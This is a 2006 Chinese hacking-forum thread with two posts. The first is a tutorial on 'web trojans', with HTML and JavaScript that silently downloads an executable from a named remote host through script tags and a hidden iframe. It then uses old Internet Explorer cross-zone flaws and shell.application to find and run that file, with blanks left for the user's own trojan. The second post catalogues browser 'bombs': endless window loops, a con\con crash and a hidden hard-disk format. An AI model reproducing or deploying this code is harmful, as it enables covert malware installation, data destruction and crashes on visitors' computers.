史萊姆論壇

史萊姆論壇 (http://forum.slime.com.tw/)
-   Hacker/Cracker 及加解密技術文件 (http://forum.slime.com.tw/f132.html)
-   -   網頁木馬 分析 (http://forum.slime.com.tw/thread181716.html)

psac 2006-08-02 08:09 AM

網頁木馬 分析
 
網頁木馬,就是當用戶瀏覽某網頁時,自動下載並執行某一「木馬」程式,進而通過該程式實現某一目的.
我們先看幾段利用IE瀏覽器早期的一個漏洞的網馬代碼:
1.自動下載程式代碼:

  <SCRIPT LANGUAGE="icyfoxlovelace" src="http://****.****.net/*.exe"></SCRIPT> 代碼說明:把這段代碼插入到網頁源代碼的</BODY>…</BODY>之間,就能下載該程式到瀏覽它的電腦上,現在多數空間不允許上傳exe文件,黑客可能把延伸名exe改為bat或com。
2.自動執行程式代碼:

  <SCRIPT LANGUAGE="javascript" type="text/javascript"> var shell=new ActiveXObject("shell.application"); shell.namespace("c:\\Windows\\").items().item("Notepad.exe").invokeverb(); </SCRIPT> 說明:這段代碼使用了shell.application控件,該控件能使網頁獲得執行權限,替換代碼中的「Notepad.exe」(記事本)程式,可以用它自動執行本機電腦上的任意程式。

iframe src="http://****.***.net/hk.htm" width="0" height="0" frameborder="0"></iframe>
iframe也叫浮動幀標籤,它可以把一個HTML網頁嵌入到另一個網頁裡實現「畫中畫」的效果,被嵌入的網頁可以控制寬、高以及邊框大小和是否出現滾動條等。在上代代碼中,因為把寬(width)、高(height)、邊框(frameborder)都設置為了「0」,所以,上述代碼插入到門戶網站的首頁後,網站的首頁不會發生變化,但是,由於嵌入的網頁實際上已經打開了,所以網頁上的下載木馬和執行木馬的腳本還是會隨著門戶首頁的打開而執行的。


下面是網馬的實現過程:

一,下載木馬程式到瀏覽者的電腦
1,利用SCRIPT標籤代碼如下
<SCRIPT LANGUAGE="icyfoxlovelace"
src="木馬程式地址"
</SCRIPT>

LANGUAGE內容可以為除javascript,VBScript,JScript以外的字串,漢字也可
SRC的內容為木馬程式地址,延伸名可以變通為PIF BAT COM SCR,同樣可以執行.

2,利用LINK標籤,代碼如下

<LINK href="木馬程式地址" rel=stylesheet type=text/css>
代碼放在<head>和</head>之間

這兩種下載木馬程式的方法,下載以後的程式都放在IE臨時目錄TEMPORARY INTERNET FILES下的子目錄中

二.找出已下載到瀏覽者的電腦中的木馬程式路徑
利用shell.application空間的一寫內容和方法,結合JS的錯誤處理try\{}catch(e)\{}finally\{}語句,進行
遞歸呼叫來找到木馬程式的路徑,代碼如下:

function icyfoxlovelace()\{}
//得到WINDOWS系統目錄和系統硬碟
url=document.location.href;
xtmu=url.substring(6,url.indexOf(『\『,9)+1;
xtp=url.substr(6,3);
var shell=new ActiveXOBJECT("SHELL.application");
var runbz=1
//此處設置木馬程式的大小,以字節為單位
//請把198201改為你的木馬程式的實際大小
var exeSize=198201
//設置木馬程式名及延伸名(EXE,PIF,BAT,COM,SCR,SCR),用於判斷是否是所下載的木馬程式
//請把下面兩行中的icyfox改為你的木馬程式名,BAT改為你的木馬程式的延伸名
var a=/icyfox\[\d*\]\.bat/gi;
a.compile("icyfox\[\d*\]\.bat","gi");
var b=/[A-Za-z]:\/gi;
b.compile("[A-Za-z]:\,"gi");//正則表達式,用於判斷是否盤的根目錄
//下面的代碼查找並執行木馬程式
wjj(xtmu+"Temporary Internet files\");//Content.IE5\
if(runbz)wjj(xtp+Documents and settings\");
if(runbz)yp();
//在所有硬碟分區下查找並執行木馬程式
function yp()\{
try\{
var c=new Enumerator(shell.namespace("c:\").parentFolder.Items();
for (;!c.atEnd();c.moveNext())\{
if(runbz)\{if(b.test(c.item().path))wjj(c.item().path);}
else break
}
}catch(e)\{}
}
//利用遞歸在指定目錄(包括子目錄)下查找並執行木馬程式
function wjj(b)\{
try\{
var c=new Enumerator(shell.namespace(b).Items());
for (;!c.atEnd();c.moveNext())\{
if(runbz&&c.item().Size==exeSize&&a.test(c.item().path))\{
var f=c.item().path;
var v=f.lastInddexOf(『\『)+1
try\{
shell.namespace(f.substring(0,v)).items().item(f.substr(v)).invokeverb();
//執行木馬程式
runbz=0;
break;
}catch(e)\{}
}
if(!c.item().Size)wjj(c.item().path+"\");
//如果是子目錄則遞歸呼叫
}
}catch(e)\{}
}
}
icyfoxlovelace();


以上代碼儲存為:icyfox.js

2,利用跨域執行漏洞獲得「我的電腦」域中的網頁權限,代碼如下 <HTML>
<HEAD>
<META http-equiv=Content-type content="text/html;charset=gb2312">
<TITLE>*****網頁</TITLE>
</HEAD>
<BODY oncontextmenu="return false"onselectstart="retrun false" scroll="no"topmargin="0" leftmargin="0">
<SCRIPT LANGUAGE="icyfoxlovelace"
src="http://www.godog.y365.com/wodemuma/icyfox.bat">
</SCRIPT>
<SCRIPT LANGUAGE="javascript">
//此處設置上面的icyfox.js文件的網路地址
//把http://www.godog.y365.com/wodemuma/i...上傳地址
jsurl="http://www.godog.y365.com/wodemuma/icyfox.js".replace(/\//g,//『);
WIE=navigator.appVersion;
if(WIE.indexOf("MSIE 5.0『)>-1\{
/*IE 5.0則利用iframe標籤,src內容設為icyfox.//則會使此標籤具備「我的電腦」域的權限,原因是因為
icyfox.//是不存在的協議,所以IE會利用res://協議打開SHDOCLC.DLL中的語法錯誤頁syntax.htm,而SHDOCLC.DLL又位
於系統目錄中,為在icyfox.js中得到WINDOWS系統目錄和系統硬碟提供資料;*/
document.write("<iframe style=『display:none;『name=『icyfoxlovelace『 src=『icyfox://『><\/iframe>");
setTiimeout("muma0()",1000;
}
else \{
/*IE5.5 IE6則利用_search漏洞,把打開的地址設為icyfox.//,從而使用_search搜索框具備「我的電腦」域的權限,因為IE6.0
中無法用上面的iframe漏洞,IE5.5應該可以,這樣做的結果會打開搜索欄,*/
window.open("icyfox.//","_search");
setTimeout("muma1()",1000;
}
//下面利用file:javascript:協議漏洞在已是「我的電腦」域的權限的「icyfox.//」中插入icyfox.腳本並執行
function muma0()\{
window.open("file:javascript:document.all.tags
(『SCRIPT『)[0].src=『"+jsurl+"『;eval();",
"icyfoxlovelace");
}

function muma1()\{
window.open("file:javascript:document.all.tags
(『SCRIPT『)[0].src=『"+jsurl+"『;eval();","_search");}
</SCRIPT>
</BODY>
<NOSCRIPT><iframe style="display:none;"src=『*.*『></iframe></NOSCRIPT>
</HTML>
上面的代碼儲存為icyfox.htm

psac 2006-08-02 10:50 PM

十大常見網頁炸彈全揭密
目前網上流行各種各樣的炸彈,其中網頁炸彈最令人頭痛,因為它們會在我們瀏覽網頁時「爆炸」,輕則當機,重則硬碟被格式化!而許多網路新手對此並不是很瞭解,覺得很神秘,所以很有必要講一下這個問題,讓我們瞭解最常見的十種網頁炸彈,以後你就會對它們見怪不怪,瞭如指掌了!對於菜鳥來說這也是網路安全進階第一步!
  註:本文的目的是讓你瞭解這些網頁炸彈的攻擊原理以及防禦方法,如果有網友亂用這些技術攻擊別人,出現的後果請自負。同時,為了保障安全,本文中的一些代碼我們使用了*號來代替。
  同時希望網友加強自己的防範意識,對危險的網頁,不要輕易的點擊。勤打被丁和升級你的安全工具。
  一、最無聊的炸彈——死循環代碼
  在網頁中加入如下代碼,只要有人點擊你所發出的鏈接就會不停地打開IE瀏覽器,直至你的系統資源消耗殆盡當機為止!此時你唯一能做的就是重新啟動電腦!
  代碼如下:<img src=*******:location="網址文件名.htm;">,註:此代碼是一個「死循環程式」!屬於聊天室炸彈!
  預防措施:打IE瀏覽器→工具→Internet選項→安全→Internet→自定義級別,把這裡所有ActiveX控件和插件都選中「禁止」,選中之後就不會被惡意代碼攻擊!因為這是一個ActiveX腳本程式!
  二、令人心有餘悸的炸彈——恐怖的大圖片
  製作原理很簡單:在html語言中加入<img src=「http://恐怖圖片的連接地址...以走了。
  三、令你頭昏眼花的炸彈——地震當機代碼
  在記事本中輸入如下所示代碼到<body>和</body>之間,然後存為任意名字的.html文件,打開該網頁後會你的IE會發生「地震」,讓你頭昏眼花,接著電腦就會當機!
http://www.gonet8.com/Article/UploadFiles/200412/20041215160901440.jpg
  上面這段代碼中的<img src="c:\con\con">會使瀏覽者電腦當機。這是利用了Windows 9x的設備名稱解析漏洞。
  漏洞說明:Windows 9X的\con\con設備名稱解析漏洞允許用戶遠端攻擊,導致對方Windows 98系統崩潰。當Windows遇到包含設備名的非法路徑時,Windows會解析這些路徑,此時內核的溢出會導致整個系統出錯。
  漏洞解析:我們知道CON是DOS下的特殊設備名,不允許用做文件名,為什麼用CON\CON會引起當機呢?我們把系統轉到DOS下做個試驗就知道了。鍵入如下命令:copy aa.txt con,系統會顯示aa.txt文件的內容,而如果換成:copy aa.txt >con,系統會提示文件不能拷貝到文件自身。如果把CON換成LPT或PRN,則輸出aa.txt的內容到印表機。由此可見,CON在這裡代表了文件的本身,用CON\CON這個命令意味著不斷呼叫這個文件自身,使系統資源迅速耗盡而當機。用上面的這個命令只是呼叫文件自身,速度實在太快,連按Ctrl+Alt+Del鍵結束的機會都沒有。如果在視窗檔案總管中選擇的是「按WEB頁」檢視,那麼連預覽該網頁都會當機!
  解決辦法:該代碼中的當機部分只對Windows 9x操作系統起作用(如果你的Windows沒有打修正檔就會死定了,趕快到微軟的站點下載修正檔吧。),也就是說Windows2000/XP用戶不會當機。但「地震」是難免的了。
四、最可怕的炸彈——格式化你的硬碟
  部分關鍵代碼如下:
http://www.gonet8.com/Article/UploadFiles/200412/20041215160903555.jpg
  當你瀏覽了該網頁,就會把startup.hta文件悄悄地寫入到你的電腦的C:\Winwods\Start Menu\Programs\啟動資料夾下,並提示你Windows正在移除用不到的臨時文件。而實際上卻在暗中格式化你的D盤!代碼中的「/autotest」這個微軟未公開的參數使得格式化硬碟時不會出現提示!另兩個參數「/q」和「/u」,使得系統不檢測硬碟便快速、完全的格式化硬碟。最後start.exe再配合「/m」參數就可以使格式化時的DOS-prompt視窗在執行的時候處於最小化的狀態。
  代碼中的「F935DC22-1CF0-11D0-ADB9-00C04FD58A0B」對應為「Windows Scripting Host Shell Object」,我們可以在註冊表編輯器中查到它的身影;代碼中的「WSH」的全稱是Windows Scripting Host,是微軟提供的一種基於32位Windows平台的、與語言無關的腳本解釋機制,它使得腳本能夠直接在Windows桌面或命令提示字元下執行。WSH所對應的程式WScript.exe是一個腳本語言解釋器,位於Windows所在資料夾下,正是它使得腳本可以被執行,就像執行批處理一樣。
  五、與當機無異——網頁面凍結代碼
  如果網頁中含有下面這些代碼,則當你點擊「提交」按鈕以後,就會出現「網頁面被凍結了!」的交談視窗,然後就會進入網頁面凍結狀態,非常討厭。代碼如下:
http://www.gonet8.com/Article/UploadFiles/200412/20041215160903971.jpg
  六、讓人心煩的炸彈——不停地打開視窗
  這就是本文開篇提到的打開一連串視窗的炸彈,源代碼如下兩種:
  1.<img src="**********:n=1;do{window.open(")}while(n==1)"width="1">
  這個炸彈要求瀏覽器不停地打開新的網頁面,用不了多久你的電腦就會當機,這樣你也就被踢出了網路。
  2.同樣的原理,源代碼還有這樣的:<script language="**********">javascript:n=1;do{alert("嘿嘿,你小子中彈了!");}while(n==1)</SCRIPT>也是這種類型的炸彈。
七、誘人的美麗——五光十色的炸彈
  如果點擊含有下面代碼的網頁時,你的瀏覽器視窗會不停地交替顯示藍色黃色永不終止,就像是藍色火焰,煞是好看,但在欣賞電腦螢幕上美妙動人的現象的同時,你什麼也不能做,只能RESET鍵重新啟動電腦了。源代碼如下:
http://www.gonet8.com/Article/UploadFiles/200412/20041215160904386.jpg
  我們還可以設置成其他顏色,只需改變color[1]="blue";color[2]="yellow"的顏色設置即可,比如黑白交替的只需將「blue」換成「white」、「yellow」換成「black」。
  八、讓你眼花繚亂——黑白變幻
  下面這段代碼就可以實現黑白變換的效果,令人眼花繚亂,最好的解決辦法就是重新啟動電腦。代碼如下:
http://www.gonet8.com/Article/UploadFiles/200412/20041215160905230.jpg
  九、讓你無法關閉——循環顯示無休無止
  如果網頁中含有下面的代碼,則當你點擊該網頁中的「關閉」按鈕以後,就會出現「哈哈,關不掉吧!」交談視窗,當你點擊「確定」以後還會循環出現此交談視窗,一直到你累得不得了,它還會出現。你說討厭不討厭?不過,反過來講用來捉摸人也不錯!代碼如下:
http://www.gonet8.com/Article/UploadFiles/200412/20041215160905348.jpg
  十、循環彈出多個廣告——彈出多網頁面視窗
  如果網頁中含有下面的代碼,則當你打開該網頁時會彈出任意多個視窗,沒完沒了的顯示讓你煩惱不已。代碼如下:
http://www.gonet8.com/Article/UploadFiles/200412/20041215160906988.jpg
  在本例中會彈出10個視窗,事實上就看對方想讓你打開幾個了,如果是個特大數的話,你的系統資源很快就會佔用光,等著當機吧!
  其實,還有其他各種類型的炸彈,其原理與上面介紹的這些大同小異,在此就不一一贅述了。


所有時間均為台北時間。現在的時間是 04:02 AM

Powered by vBulletin® 版本 3.6.8
版權所有 ©2000 - 2024, Jelsoft Enterprises Ltd.

『服務條款』

* 有問題不知道該怎麼解決嗎?請聯絡本站的系統管理員 *


SEO by vBSEO 3.6.1